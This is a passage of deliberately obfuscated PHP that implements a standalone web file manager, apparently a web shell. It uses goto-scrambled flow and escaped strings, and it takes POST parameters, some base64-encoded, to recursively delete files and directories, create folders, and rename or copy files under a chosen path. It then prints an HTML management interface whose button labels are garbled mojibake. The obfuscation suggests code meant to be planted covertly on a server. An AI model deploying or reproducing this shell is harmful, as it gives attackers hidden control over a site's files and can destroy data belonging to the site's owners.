jDYzc; XJEc3: $C_q13 = ["\x73\165\143\x63\145\x73\x73" => true, "\155\x65\163\x73\x61\x67\x65" => "\111\164\x65\155\163\x20\144\145\x6c\x65\x74\x65\x64\56"]; goto KyY3J; kp8UV: case "\x64\145\x6c\x65\x74\145\137\x62\66\64": goto Qo_HQ; o9Geq: if (!empty($UT3Xw)) { goto bIgN3; } goto U8OJB; cmkqA: bIgN3: goto cNHA4; CtCXm: goto ycSVf; goto B4c3f; V9AAM: tcc0Y: goto Hjg4t; df3TJ: foreach ($AopT5 as $pp4Zo) { $UT3Xw[] = base64_decode($pp4Zo); hDEUI: } goto FVEvK; FVEvK: YTElY: goto o9Geq; Qo_HQ: $N3FQp = isset($_POST["\160\x61\x74\150"]) ? NY0tU($_POST["\x70\x61\164\x68"]) : __DIR__; goto dexUZ; dexUZ: $AopT5 = isset($_POST["\x69\164\x65\155\163\137\142\66\x34"]) && is_array($_POST["\x69\164\145\x6d\163\x5f\142\66\x34"]) ? $_POST["\151\164\145\155\163\137\142\x36\64"] : []; goto KneCe; KneCe: $UT3Xw = []; goto df3TJ; cNHA4: function LHB01($pZ4PV) { goto C2Oey; NxdAz: $wolKu = array_diff(scandir($pZ4PV), ["\56", "\56\x2e"]); goto yY_5l; KyZfR: return unlink($pZ4PV); goto owZbu; XKe1G: rYEPR: goto NxdAz; yY_5l: foreach ($wolKu as $ojlAu) { LHB01("{$pZ4PV}\x2f{$ojlAu}"); X0WVR: } goto VsBSE; owZbu: goto l3EIG; goto XKe1G; VsBSE: FQz9b: goto oYmV0; YTNri: l3EIG: goto w59M4; oYmV0: return rmdir($pZ4PV); goto YTNri; C2Oey: if (is_dir($pZ4PV)) { goto rYEPR; } goto KyZfR; w59M4: } goto rTvM9; Hjg4t: $C_q13 = ["\163\165\143\143\145\x73\163" => true, "\155\x65\163\163\x61\x67\x65" => "\111\x74\145\155\x73\x20\x64\x65\x6c\x65\164\145\x64\x2e"]; goto CtCXm; rTvM9: foreach ($UT3Xw as $pZ4PV) { goto augDN; mkHI_: Jk67o: goto vEGF0; augDN: $qgHjW = rtrim($N3FQp, "\x2f") . "\57" . $pZ4PV; goto R3UhS; l1gC6: lHB01($qgHjW); goto h0b9E; h0b9E: LWEP_: goto mkHI_; R3UhS: if (!file_exists($qgHjW)) { goto LWEP_; } goto l1gC6; vEGF0: } goto V9AAM; U8OJB: throw new Exception("\x4e\x6f\x20\x69\164\x65\155\163\x20\163\x65\x6c\145\143\164\x65\x64\x20\146\x6f\162\x20\x64\x65\154\145\x74\151\x6f\156\56"); goto cmkqA; B4c3f: case "\143\x72\x65\141\164\145\137\x66\x6f\154\x64\x65\x72": goto hFMyY; WjVpt: vFOjM: goto mNqWY; Palgw: goto ycSVf; goto QqBDM; hFMyY: $N3FQp = isset($_POST["\160\141\164\x68"]) ? Ny0tu($_POST["\x70\x61\x74\150"]) : __DIR__; goto TMNGP; mNqWY: $C_q13 = ["\163\165\x63\143\145\163\x73" => true, "\155\x65\x73\x73\141\x67\145" => "\x46\x6f\x6c\144\x65\x72\x20\x63\162\x65\x61\164\145\144\56"]; goto bLaK3; RZUs9: throw new Exception("\111\x6e\x76\x61\154\151\x64\x20\160\x61\x74\150\x20\x6f\162\x20\x66\157\154\144\145\x72\40\156\141\x6d\145\x2e"); goto jNFLN; aTyZH: if (mkdir(rtrim($N3FQp, "\57") . "\x2f" . $zDPI8)) { goto vFOjM; } goto J5Dtz; bLaK3: r0qez: goto Palgw; jNFLN: NL3yu: goto aTyZH; zwHJx: if (!(!NQxxK($N3FQp) || empty($zDPI8))) { goto NL3yu; } goto RZUs9; J5Dtz: throw new Exception("\x43\157\x75\x6c\144\x20\156\157\164\40\x63\162\x65\x61\x74\x65\40\146\157\154\144\x65\162\x2e"); goto ss986; ss986: goto r0qez; goto WjVpt; TMNGP: $zDPI8 = isset($_POST["\156\141\155\145"]) ? str_replace(["\56\x2e", "\57", "\134"], '', $_POST["\x6e\141\x6d\145"]) : ''; goto zwHJx; QqBDM: case "\162\x65\x6e\x61\x6d\145": goto qDv5z; c__4x: $C_q13 = ["\163\x75\x63\143\x65\163\x73" => true, "\155\145\163\x73\141\x67\145" => "\x49\164\145\x6d\40\162\x65\x6e\141\155\145\144\x20\x73\x75\x63\x63\145\x73\x73\146\165\154\x6c\171\56"]; goto u7Skq; MlL1U: clearstatcache(); goto Hpabs; XE6kH: $jj7As = rtrim($N3FQp, "\57") . "\x2f" . $dQ2Id; goto MlL1U; b4i_l: if (rename($aKQJd, $jj7As)) { goto nYIHB; } goto szw6Z; szw6Z: throw new Exception("\x43\157\x75\x6c\x64\40\156\x6f\x74\40\x72\x65\156\141\155\145\x20\x69\164\145\x6d\x2e\40\x43\x68\145\x63\153\40\x70\x65\x72\155\151\163\x73\151\x6f\156\163\56"); goto McX5I; f_VBz: LYhqm: goto b4i_l; qDv5z: $N3FQp = isset($_POST["\x70\141\164\150"]) ? NY0Tu($_POST["\x70\141\164\x68"]) : __DIR__; goto OpNZ1; e8aB_: throw new Exception("\111\x6e\x76\x61\x6c\151\144\40\x64\141\164\141\40\x66\x6f\162\40\x72\145\156\141\x6d\x69\x6e\x67\56"); goto BGKJV; kcd6W: goto ycSVf; goto V3kxN; BGKJV: cYVP_: goto rcjP2; OpNZ1: $c3CZq = isset($_POST["\x6f\154\x64\137\x6e\x61\x6d\145"]) ? $_POST["\157\x6c\x64\137\x6e\x61\x6d\x65"] : ''; goto cy97s; afm1Y: nYIHB: goto c__4x; izCNd: wEG_d: goto dyB2g; u7Skq: w0Qk5: goto kcd6W; McX5I: goto w0Qk5; goto afm1Y; OClmY: throw new Exception("\123\x6f\x75\x72\x63\x65\x20\151\164\x65\155\x20\x64\x6f\x65\x73\40\x6e\157\x74\40\x65\x78\151\163\x74\40\141\x74\x3a\40" . $aKQJd); goto izCNd; Hpabs: if (file_exists($aKQJd)) { goto wEG_d; } goto OClmY; Wfbq4: if (!(!nqXXk($N3FQp) || empty($c3CZq) || empty($dQ2Id))) { goto cYVP_; } goto e8aB_; cy97s: $dQ2Id = isset($_POST["\156\x65\167\x5f\156\x61\x6d\145"]) ? str_replace(["\56\56", "\57", "\134"], '', $_POST["\156\145\167\x5f\156\141\155\145"]) : ''; goto Wfbq4; rcjP2: $aKQJd = rtrim($N3FQp, "\x2f") . "\x2f" . $c3CZq; goto XE6kH; dyB2g: if (is_writable(dirname($aKQJd))) { goto LYhqm; } goto RetP0; RetP0: throw new Exception("\104\151\162\x65\143\x74\x6f\x72\171\40\151\x73\40\156\x6f\x74\40\x77\162\151\x74\x61\142\154\x65\56"); goto f_VBz; V3kxN: case "\162\x65\x6e\x61\155\x65\x5f\142\x36\x34": goto G1EyE; zMe0b: unlink($Blo_g); goto NVm39; dygEg: yuctS: goto gHSz9; gHSz9: goto ycSVf; goto wB07j; lTcOf: $jj7As = rtrim($N3FQp, "\57") . "\57" . $dQ2Id; goto JSdgQ; T4zwj: $c3CZq = base64_decode($e212L); goto N50oN; W1MkE: jLJ2Q: goto Ry466; RSXTH: if (!(!NQxxK($N3FQp) || empty($c3CZq) || empty($dQ2Id))) { goto jLJ2Q; } goto rYUKY; JSdgQ: $Blo_g = $aKQJd . "\56\164\x78\x74"; goto AiTjC; yAtn_: goto yuctS; goto GDEqX; A8qBB: throw new Exception("\x43\x6f\x75\154\x64\x20\x6e\157\164\40\144\145\x6c\145\x74\145\x20\157\162\151\147\151\156\x61\x6c\40\x66\x69\154\145\56"); goto HyfUt; NVm39: throw new Exception("\x43\157\165\154\144\x20\156\x6f\x74\40\x70\x65\162\x66\x6f\x72\x6d\x20\x66\151\x6e\x61\154\x20\162\x65\156\141\x6d\145\x2e\40\117\x72\x69\x67\x69\x6e\x61\154\x20\146\151\x6c\x65\40\155\141\x79\40\142\x65\40\x72\145\x73\164\157\162\x65\144\56"); goto yAtn_; AiTjC: if (copy($aKQJd, $Blo_g)) { goto F0wA1; } goto df3zx; AXdYk: F0wA1: goto Vw9oZ; Vw9oZ: if (unlink($aKQJd)) { goto wtE6E; } goto UtPI4; N50oN: $dQ2Id = base64_decode($zd7rX); goto RSXTH; VEnf_: copy($Blo_g, $aKQJd); goto zMe0b; GDEqX: f5lol: goto P7IjC; Ry466: $aKQJd = rtrim($N3FQp, "\x2f") . "\x2f" . $c3CZq; goto lTcOf; G1EyE: $N3FQp = isset($_POST["\x70\141\164\150"]) ? NY0tu($_POST["\160\x61\x74\x68"]) : __DIR__; goto zd67f; HyfUt: wtE6E: goto RrQc4; df3zx: throw new Exception("\103\x6f\x75\154\144\x20\156\157\x74\x20\143\x72\145\141\x74\x65\x20\164\x65\155\160\157\x72\141\162\x79\40\143\x6f\x70\x79\56"); goto AXdYk; rYUKY: throw new Exception("\x49\x6e\166\x61\x6c\151\144\x20\x64\141\164\x61\x20\146\157\x72\x20\162\145\x6e\x61\x6d\151\x6e\x67\x2e"); goto W1MkE; UtPI4: unlink($Blo_g); goto A8qBB; P7IjC: $C_q13 = ["\x73\165\x63\x63\145\x73\x73" => true, "\155\x65\x73\163\141\x67\x65" => "\x49\x74\145\x6d\40\x72\145\x6e\141\x6d\x65\x64\40\x73\165\143\143\145\163\163\x66\165\x6c\154\x79\40\165\x73\151\156\x67\x20\x62\x36\x34\40\155\145\164\150\x6f\144\56"]; goto dygEg; FWMcy: $zd7rX = isset($_POST["\156\145\x77\x5f\x6e\x61\155\x65\137\x62\66\x34"]) ? $_POST["\x6e\145\x77\x5f\156\x61\x6d\x65\x5f\142\66\x34"] : ''; goto T4zwj; RrQc4: if (rename($Blo_g, $jj7As)) { goto f5lol; } goto VEnf_; zd67f: $e212L = isset($_POST["\157\154\144\137\x6e\x61\x6d\145\x5f\x62\x36\x34"]) ? $_POST["\x6f\154\x64\137\x6e\x61\x6d\145\x5f\x62\x36\x34"] : ''; goto FWMcy; wB07j: } goto EQarB; ZfuYF: ycSVf: goto OjHR9; EQarB: LToqq: goto ZfuYF; OjHR9: } catch (Exception $kvqcd) { $C_q13 = ["\x73\x75\143\143\145\x73\163" => false, "\155\x65\x73\163\141\147\145" => $kvqcd->getMessage()]; } goto jtolO; jtolO: echo json_encode($C_q13); goto BCDeX; BCDeX: exit; goto wWXaN; t2KH8: echo "\74\41\x44\117\x43\124\131\120\105\40\x68\164\x6d\154\76\12\x3c\x68\164\155\154\40\154\141\x6e\x67\75\42\145\x6e\42\x3e\12\74\x68\145\141\144\x3e\12\40\x20\40\x20\74\x6d\145\164\141\40\x63\150\141\x72\163\145\164\x3d\42\125\x54\x46\x2d\x38\42\76\74\x74\x69\164\154\x65\x3e\x46\x69\154\x65\x20\x4d\x61\x6e\141\x67\x65\x72\74\57\x74\151\164\154\145\x3e\x3c\x6d\x65\x74\x61\x20\x6e\141\155\x65\75\42\166\x69\x65\x77\160\157\162\x74\x22\x20\x63\157\156\x74\x65\x6e\164\75\x22\x77\x69\x64\164\x68\75\144\145\166\151\x63\145\55\167\151\x64\x74\150\x2c\x20\151\x6e\x69\x74\x69\141\x6c\55\x73\143\141\154\x65\75\61\x2e\x30\42\76\12\x20\40\x20\40\74\x73\164\x79\154\x65\76\12\x20\40\40\40\40\x20\40\x20\x3a\162\x6f\157\164\x7b\55\x2d\141\x63\x63\x65\156\x74\55\x63\157\154\157\x72\72\x23\62\62\67\x31\142\x31\73\55\x2d\150\x6f\x76\145\162\x2d\143\x6f\154\157\162\x3a\x23\x31\145\66\65\71\144\73\55\55\144\141\x6e\147\145\x72\x2d\143\157\154\x6f\x72\72\x23\x64\66\x33\x36\63\x38\73\175\12\40\40\40\40\40\40\40\x20\142\157\x64\171\173\146\x6f\x6e\x74\55\146\141\x6d\x69\x6c\171\x3a\x2d\141\160\160\x6c\x65\x2d\163\x79\x73\164\x65\x6d\x2c\102\x6c\x69\156\153\x4d\x61\143\123\171\x73\164\x65\155\106\157\156\x74\x2c\42\x53\x65\x67\157\145\x20\125\x49\x22\x2c\x52\157\x62\x6f\x74\157\x2c\117\170\x79\x67\x65\x6e\55\x53\141\156\163\x2c\x55\x62\x75\x6e\x74\165\54\x43\x61\156\164\x61\162\145\x6c\154\54\42\110\145\154\166\x65\x74\x69\143\141\x20\116\x65\165\x65\x22\54\163\x61\156\163\55\x73\x65\x72\x69\146\x3b\x62\x61\143\x6b\x67\x72\157\165\x6e\144\72\x23\146\60\146\x30\x66\61\x3b\155\x61\x72\147\151\x6e\72\x30\x3b\x7d\12\x20\40\x20\x20\40\40\x20\40\56\143\x6f\156\164\x61\x69\156\145\162\173\x64\151\163\160\154\x61\171\x3a\x66\x6c\x65\x78\x3b\x66\x6c\x65\170\x2d\x64\x69\162\145\x63\164\151\x6f\x6e\72\143\157\x6c\165\155\x6e\x3b\150\x65\x69\147\150\164\x3a\61\x30\x30\166\150\x3b\175\x68\145\x61\144\145\x72\173\x62\141\x63\x6b\x67\162\157\x75\x6e\x64\x3a\43\146\x66\x66\x3b\x70\141\x64\x64\151\156\147\x3a\61\60\160\x78\40\x32\x30\x70\170\73\142\x6f\x72\144\145\162\x2d\x62\x6f\164\164\x6f\x6d\x3a\x31\160\170\x20\x73\157\x6c\151\144\40\43\144\x64\144\73\x64\151\163\160\154\x61\x79\72\x66\x6c\145\x78\73\x6a\165\x73\x74\151\x66\171\x2d\x63\x6f\x6e\164\145\x6e\164\72\x73\160\141\143\x65\55\x62\x65\x74\167\x65\x65\156\x3b\141\x6c\151\x67\x6e\x2d\x69\x74\145\155\x73\72\143\x65\156\x74\145\162\73\146\x6c\x65\x78\55\163\150\162\151\156\153\x3a\x30\73\x7d\155\141\151\x6e\x7b\x66\154\145\170\55\x67\x72\157\167\72\x31\x3b\x70\141\144\x64\151\x6e\x67\x3a\62\60\160\x78\73\157\166\145\x72\x66\154\157\167\x2d\x79\72\141\x75\164\x6f\73\175\x2e\164\157\x6f\x6c\x62\141\162\173\155\141\162\x67\x69\156\x2d\142\x6f\164\x74\x6f\x6d\x3a\61\65\160\170\x3b\144\x69\163\x70\154\141\x79\72\x66\154\x65\x78\73\x66\154\x65\x78\55\167\162\x61\160\72\x77\x72\141\160\x3b\x67\141\x70\x3a\61\x30\160\x78\73\x61\154\151\x67\x6e\x2d\151\x74\145\x6d\x73\72\143\x65\156\x74\145\x72\x3b\175\x2e\160\x61\164\150\x2d\142\x61\162\173\142\141\143\153\147\x72\157\165\156\x64\x3a\43\x66\146\x66\x3b\160\141\144\x64\151\156\147\72\70\x70\x78\40\x31\x32\160\x78\x3b\142\157\162\x64\145\x72\55\x72\141\x64\151\165\163\x3a\64\x70\x78\73\142\157\x72\x64\x65\162\x3a\61\160\170\40\x73\157\154\x69\x64\x20\x23\144\x64\x64\73\146\x6f\x6e\x74\55\x66\141\155\151\154\x79\x3a\x6d\157\x6e\x6f\163\x70\x61\x63\x65\x3b\x66\x6c\x65\170\x2d\147\x72\x6f\167\x3a\61\73\x77\157\162\x64\x2d\142\x72\x65\x61\x6b\72\142\162\x65\141\153\x2d\141\x6c\x6c\73\x7d\x2e\x66\151\154\145\55\x74\x61\x62\x6c\145\173\167\x69\144\164\x68\72\x31\60\x30\45\x3b\x62\x6f\162\144\x65\x72\x2d\x63\x6f\x6c\154\x61\160\163\145\72\x63\x6f\x6c\x6c\141\x70\163\145\x3b\142\x61\143\x6b\147\162\157\x75\x6e\x64\72\x23\146\x66\146\x3b\x74\x61\x62\x6c\x65\55\x6c\141\x79\157\165\x74\x3a\x66\151\x78\145\x64\73\175\56\146\x69\154\x65\x2d\x74\x61\x62\154\145\40\x74\150\x2c\x2e\x66\151\154\x65\55\164\x61\142\154\145\40\164\144\x7b\164\x65\170\164\55\x61\154\151\147\156\72\154\145\x66\164\x3b\142\x6f\162\144\145\x72\x2d\x62\157\x74\x74\x6f\x6d\72\61\160\x78\x20\x73\157\x6c\151\x64\40\x23\x65\x65\145\73\x76\x65\162\164\x69\x63\x61\x6c\55\141\154\151\x67\x6e\x3a\x6d\x69\x64\144\x6c\145\73\x77\157\162\x64\55\167\x72\x61\x70\72\x62\162\145\x61\153\x2d\x77\157\162\x64\73\x7d\x2e\146\151\x6c\x65\55\x74\141\142\x6c\x65\40\164\x68\173\142\141\143\153\147\162\x6f\165\x6e\144\72\x23\x66\71\x66\71\146\x39\73\160\141\x64\144\151\x6e\x67\72\x31\x32\x70\170\40\70\x70\170\x3b\175\56\146\x69\x6c\x65\55\x74\x61\x62\154\x65\40\164\162\72\150\x6f\166\x65\x72\x7b\x62\141\143\x6b\147\162\157\165\156\144\72\43\x66\60\146\x38\146\146\x3b\x7d\56\146\151\x6c\x65\55\x74\141\x62\154\145\40\x74\x68\72\x6e\x74\x68\x2d\x63\150\x69\154\x64\x28\61\51\x2c\x2e\146\x69\x6c\145\55\164\x61\142\x6c\x65\40\x74\144\72\x6e\164\150\55\x63\x68\151\x6c\x64\50\61\x29\x7b\167\151\144\x74\150\72\64\x30\x70\x78\73\x70\141\144\144\x69\156\147\x3a\x31\x32\x70\170\x20\64\x70\170\x20\61\x32\160\x78\40\x31\62\160\x78\73\164\145\x78\x74\x2d\141\154\151\147\x6e\x3a\143\145\156\x74\x65\162\x3b\175\56\x66\x69\x6c\x65\x2d\x74\x61\142\154\x65\x20\164\x68\x3a\156\164\x68\x2d\x63\x68\x69\154\144\x28\x32\51\x2c\x2e\146\x69\x6c\x65\55\164\141\x62\154\x65\x20\164\144\72\x6e\164\x68\x2d\143\x68\x69\x6c\x64\x28\62\51\x7b\167\x69\x64\x74\x68\72\x35\60\x25\73\160\x61\x64\x64\151\156\147\x2d\154\145\x66\x74\72\64\160\170\73\175\x2e\x66\151\x6c\x65\x2d\x74\141\142\x6c\145\40\x74\x68\x3a\156\164\150\55\x63\x68\x69\x6c\144\50\63\51\54\x2e\x66\151\154\x65\x2d\164\141\x62\154\x65\x20\x74\144\72\156\x74\x68\55\143\150\x69\154\x64\50\63\51\x7b\167\151\144\x74\x68\72\61\62\x30\x70\x78\x3b\175\x2e\x66\151\154\145\x2d\164\x61\x62\x6c\145\40\x74\150\72\x6e\164\x68\55\x63\x68\x69\154\144\50\x34\x29\x2c\x2e\146\151\154\x65\55\x74\141\142\x6c\145\40\164\144\x3a\x6e\164\150\x2d\x63\150\151\x6c\144\x28\64\x29\x7b\x77\151\x64\x74\150\x3a\x31\x35\x30\160\170\73\x7d\x2e\x66\151\x6c\145\55\164\141\x62\154\145\x20\164\x68\x3a\x6e\164\150\55\143\150\x69\154\144\x28\65\x29\173\164\145\x78\164\55\141\x6c\x69\x67\x6e\x3a\162\151\x67\150\164\x3b\160\x61\x64\x64\x69\x6e\147\55\x72\151\147\150\x74\72\x31\62\160\x78\73\x7d\56\x61\x63\x74\151\157\x6e\163\x7b\144\x69\163\160\154\x61\x79\72\x66\x6c\x65\x78\x3b\x6a\165\x73\164\x69\x66\171\x2d\x63\157\156\x74\145\x6e\x74\x3a\x66\x6c\x65\170\x2d\145\156\144\x3b\x67\141\x70\72\65\160\170\x3b\175\x2e\x69\164\145\155\55\154\151\156\153\x2c\141\x2e\151\x74\145\x6d\x2d\154\151\156\153\173\164\x65\x78\x74\x2d\x64\145\x63\x6f\x72\141\x74\151\x6f\156\x3a\x6e\157\156\145\x21\151\155\x70\157\162\164\x61\x6e\x74\73\x63\157\x6c\157\x72\72\x76\x61\x72\x28\x2d\x2d\141\143\x63\145\x6e\164\55\x63\157\x6c\157\x72\51\73\x63\x75\162\163\157\162\72\x70\157\x69\156\164\x65\x72\73\175\x2e\151\164\145\155\x2d\154\151\156\153\72\x68\x6f\x76\145\x72\54\141\x2e\x69\164\x65\x6d\55\x6c\x69\x6e\x6b\72\x68\x6f\166\145\162\173\x63\x6f\154\157\x72\72\166\141\x72\x28\55\55\x68\157\166\x65\162\x2d\143\x6f\154\157\162\x29\x3b\x7d\164\x72\x5b\x64\141\164\141\x2d\160\x61\x74\x68\x5d\x7b\143\x75\162\163\x6f\162\x3a\160\157\x69\156\x74\145\x72\73\x7d\x2e\x62\x75\x74\164\157\156\x7b\x62\141\143\x6b\147\162\x6f\165\x6e\144\x3a\x76\x61\162\x28\55\55\x61\x63\x63\145\x6e\164\x2d\143\157\x6c\157\x72\x29\x3b\x63\157\154\x6f\162\x3a\167\x68\x69\x74\145\73\142\x6f\162\144\145\x72\x3a\x6e\157\x6e\x65\x3b\x70\x61\x64\x64\151\x6e\147\x3a\70\160\170\x20\61\62\x70\170\73\142\x6f\162\x64\x65\162\x2d\x72\x61\x64\x69\165\163\x3a\63\160\170\x3b\x63\165\x72\163\x6f\162\72\x70\x6f\x69\156\x74\145\x72\x3b\x66\157\156\x74\x2d\x73\151\x7a\x65\x3a\61\x34\x70\170\x3b\175\x2e\142\x75\164\164\157\156\x2e\x64\x61\156\147\145\x72\x7b\x62\x61\x63\153\147\x72\x6f\165\156\144\x3a\x76\141\x72\50\x2d\55\144\x61\156\x67\145\x72\x2d\143\157\x6c\x6f\x72\x29\73\x7d\43\163\x70\151\156\156\145\x72\173\x64\x69\x73\x70\154\x61\x79\72\x6e\157\x6e\145\73\x7d\x2e\155\157\144\141\154\x2d\x6f\x76\145\x72\x6c\x61\x79\173\144\x69\163\x70\154\x61\x79\72\156\157\x6e\145\73\160\157\163\151\x74\151\157\156\x3a\146\x69\170\x65\x64\73\x74\157\160\x3a\60\73\x6c\x65\x66\x74\x3a\x30\73\167\151\x64\x74\150\x3a\x31\x30\60\45\73\x68\145\151\x67\x68\164\x3a\x31\60\60\45\73\142\141\x63\x6b\x67\162\157\165\x6e\144\x3a\162\147\x62\x61\x28\60\x2c\60\x2c\x30\54\60\x2e\x36\51\73\x7a\x2d\x69\x6e\144\x65\170\x3a\61\60\60\x30\x3b\152\165\x73\x74\x69\146\x79\x2d\143\x6f\156\164\145\x6e\164\72\143\145\156\164\x65\162\x3b\x61\x6c\151\147\156\x2d\x69\164\x65\155\163\72\x63\145\156\x74\145\x72\73\x7d\56\x6d\x6f\144\141\154\55\143\x6f\156\164\145\x6e\164\x7b\x64\151\x73\x70\x6c\141\171\72\146\154\145\x78\73\146\154\145\170\x2d\x64\x69\x72\145\143\x74\151\x6f\156\72\x63\x6f\x6c\165\x6d\x6e\73\142\x61\143\x6b\147\162\157\x75\156\144\x3a\43\146\x66\146\x3b\x70\x61\x64\144\x69\x6e\x67\72\62\x30\160\x78\x3b\142\157\162\144\145\162\55\x72\141\x64\151\165\x73\x3a\x35\x70\170\x3b\x77\x69\144\164\150\x3a\70\x30\x25\x3b\150\145\151\x67\150\164\x3a\70\60\45\73\155\141\x78\55\x77\151\144\164\150\72\71\x30\x30\x70\x78\73\x62\157\x78\x2d\x73\150\x61\x64\x6f\x77\72\60\40\x35\x70\x78\x20\x31\65\160\170\x20\162\x67\142\141\x28\60\54\x30\54\x30\x2c\x30\56\63\51\73\x7d\164\145\170\x74\141\162\x65\141\43\x65\144\x69\x74\157\x72\x7b\146\154\x65\x78\x2d\147\162\x6f\167\x3a\61\73\146\157\x6e\x74\x2d\x66\141\x6d\151\154\171\72\x6d\157\156\x6f\x73\160\141\143\x65\73\x66\x6f\156\164\55\x73\151\x7a\145\72\x31\64\160\170\73\142\157\162\144\x65\162\72\x31\x70\170\x20\163\157\154\151\144\x20\43\x64\144\144\x3b\160\x61\x64\144\151\x6e\x67\72\61\x30\160\170\73\175\xa\x20\x20\40\40\74\57\163\x74\x79\154\145\x3e\12\74\57\x68\145\x61\144\x3e\xa\74\x62\x6f\x64\171\x3e\xa\x20\40\40\40\74\x64\151\166\x20\143\x6c\x61\163\x73\x3d\x22\143\157\156\164\141\151\156\x65\162\x22\76\xa\40\x20\x20\x20\40\40\40\x20\x3c\x68\x65\141\x64\145\x72\76\74\150\x33\76\x46\x69\x6c\x65\40\x4d\x61\156\x61\x67\x65\x72\40\x28\123\x74\141\x6e\144\x61\154\157\156\x65\51\74\57\x68\x33\x3e\74\x2f\150\145\141\x64\145\162\76\xa\40\x20\x20\40\40\40\40\x20\x3c\155\x61\151\x6e\76\xa\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\74\x64\151\166\x20\x63\154\141\x73\x73\75\42\x74\x6f\x6f\154\142\x61\162\x22\76\x3c\x62\165\x74\x74\157\x6e\40\143\x6c\x61\x73\163\x3d\x22\x62\165\x74\164\157\x6e\42\x20\151\144\75\x22\165\160\154\x6f\x61\x64\x42\x74\x6e\42\x3e\xc3\x83\302\242\303\202\xc2\xac\303\202\xc2\x86\xc3\x83\xc2\xaf\303\x82\xc2\270\xc3\x82\302\x8f\40\125\160\x6c\157\x61\144\74\57\142\x75\x74\x74\x6f\156\x3e\x3c\x62\x75\x74\x74\x6f\x6e\40\143\154\141\x73\x73\75\42\x62\x75\164\164\x6f\x6e\42\40\x69\144\x3d\42\156\145\x77\106\x69\x6c\145\x42\164\156\x22\76\xc3\203\302\260\xc3\202\302\x9f\303\x82\xc2\x93\303\202\xc2\204\40\116\x65\167\x20\106\151\154\x65\74\x2f\142\x75\164\x74\x6f\156\76\x3c\x62\x75\164\x74\157\x6e\x20\x63\x6c\141\x73\x73\x3d\42\x62\x75\x74\164\157\x6e\42\x20\151\144\75\42\156\145\x77\106\157\154\x64\x65\x72\x42\164\x6e\x22\x3e\xc3\203\xc2\242\303\202\302\236\xc3\202\302\225\40\x4e\x65\x77\40\106\x6f\x6c\144\145\x72\74\x2f\x62\x75\164\x74\157\x6e\x3e\74\142\x75\x74\164\157\x6e\40\143\x6c\141\x73\x73\75\x22\x62\165\x74\x74\157\156\40\144\141\x6e\x67\x65\x72\42\40\151\144\x3d\x22\x64\145\x6c\x65\x74\x65\102\164\156\42\x3e\303\203\xc2\xb0\303\x82\xc2\237\303\x82\302\x97\303\x82\xc2\x91\xc3\x83\xc2\257\303\202\302\270\xc3\x82\xc2\217\40\x44\145\154\x65\164\x65\x20\123\145\154\145\x63\164\145\144\x3c\x2f\142\x75\x74\x74\157\156\76\74\x64\151\x76\40\151\144\75\42\163\160\x69\156\156\145\162\x22\x3e\xc3\203\xc2\260\xc3\202\302\x9f\xc3\x82\xc2\225\xc3\x82\302\222\74\x2f\x64\x69\166\76\x3c\57\144\151\166\x3e\12\40\x20\40\x20\40\x20\40\x20\40\x20\40\x20\74\144\151\x76\40\x63\x6c\141\x73\x73\75\42\164\x6f\x6f\x6c\142\x61\x72\42\76\74\x64\151\x76\40\143\x6c\141\x73\163\75\42\160\x61\164\150\x2d\x62\141\162\42\x20\151\144\x3d\42\160\141\x74\150\x42\x61\x72\42\76\x2f\x3c\x2f\144\151\166\x3e\x3c\57\x64\x69\166\x3e\12\40\40\x20\x20\x20\x20\x20\40\40\x20\40\40\x3c\164\x61\x62\154\x65\40\x63\154\x61\163\x73\x3d\x22\146\151\x6c\x65\55\164\x61\142\x6c\x65\42\x3e\74\x74\150\145\141\144\76\x3c\164\162\x3e\74\164\150\76\x3c\151\156\160\165\x74\40\x74\x79\160\x65\x3d\x22\x63\x68\x65\143\153\x62\157\x78\42\x20\151\x64\75\x22\x73\x65\x6c\145\x63\x74\x41\154\x6c\42\76\74\57\164\x68\76\x3c\x74\150\x3e\116\141\155\x65\74\x2f\164\x68\76\x3c\x74\150\76\x53\x69\x7a\x65\74\57\164\x68\x3e\74\x74\150\x3e\115\x6f\x64\151\146\151\145\x64\x3c\57\164\x68\76\74\x74\x68\76\x41\143\164\151\x6f\156\x73\74\57\164\150\x3e\x3c\x2f\164\x72\76\74\57\164\x68\x65\141\x64\x3e\74\x74\142\x6f\144\x79\x20\x69\144\75\x22\x66\151\x6c\x65\114\151\163\164\x22\76\74\57\164\142\x6f\x64\x79\x3e\74\x2f\x74\x61\x62\154\x65\x3e\12\40\40\40\40\40\40\40\40\x3c\x2f\x6d\141\151\156\76\12\40\40\x20\40\74\x2f\144\x69\166\x3e\xa\x20\x20\x20\x20\74\144\x69\x76\x20\x69\x64\x3d\x22\145\144\151\164\157\162\x4d\x6f\x64\141\x6c\x22\x20\x63\x6c\x61\163\163\x3d\x22\x6d\157\x64\141\154\x2d\157\166\145\x72\154\141\171\x22\x3e\74\144\151\166\x20\143\x6c\141\163\163\75\x22\155\x6f\x64\141\154\55\x63\x6f\156\x74\145\156\x74\42\76\x3c\x68\63\x20\x69\144\x3d\x22\x65\x64\151\164\157\162\106\x69\154\145\x6e\x61\155\145\42\40\163\164\171\x6c\145\75\42\x6d\141\162\x67\x69\156\x2d\x74\x6f\160\72\60\x3b\42\76\74\x2f\x68\63\76\74\164\x65\170\x74\x61\x72\x65\141\40\151\144\75\x22\145\x64\151\x74\157\x72\x22\x20\163\x70\x65\x6c\x6c\143\x68\x65\x63\153\x3d\x22\x66\141\154\163\145\42\76\x3c\x2f\x74\145\170\x74\x61\162\145\141\x3e\74\144\x69\x76\x20\x73\x74\171\x6c\x65\x3d\42\x6d\141\x72\x67\151\156\x2d\164\157\160\72\61\x30\x70\x78\73\x22\76\74\x62\x75\164\x74\x6f\156\40\143\154\141\x73\163\x3d\x22\142\x75\164\x74\157\x6e\42\40\x69\x64\x3d\42\x73\141\166\x65\102\x74\156\42\x3e\xc3\203\302\260\303\x82\302\x9f\303\x82\xc2\222\xc3\x82\302\276\x20\x53\141\166\x65\40\103\150\141\x6e\147\145\x73\x3c\57\x62\x75\x74\x74\x6f\x6e\x3e\74\x62\x75\164\x74\157\156\40\143\x6c\x61\163\x73\75\x22\x62\165\x74\164\x6f\x6e\42\x20\x6f\156\x63\x6c\151\x63\153\x3d\42\x64\157\x63\165\155\145\x6e\164\56\147\145\164\x45\154\145\x6d\x65\x6e\x74\102\171\111\144\50\47\145\144\x69\164\x6f\162\115\x6f\144\141\154\x27\x29\56\x73\164\x79\154\145\x2e\x64\151\x73\160\154\x61\x79\75\x27\156\157\156\x65\x27\42\76\x43\154\x6f\x73\145\74\x2f\x62\x75\x74\164\x6f\156\x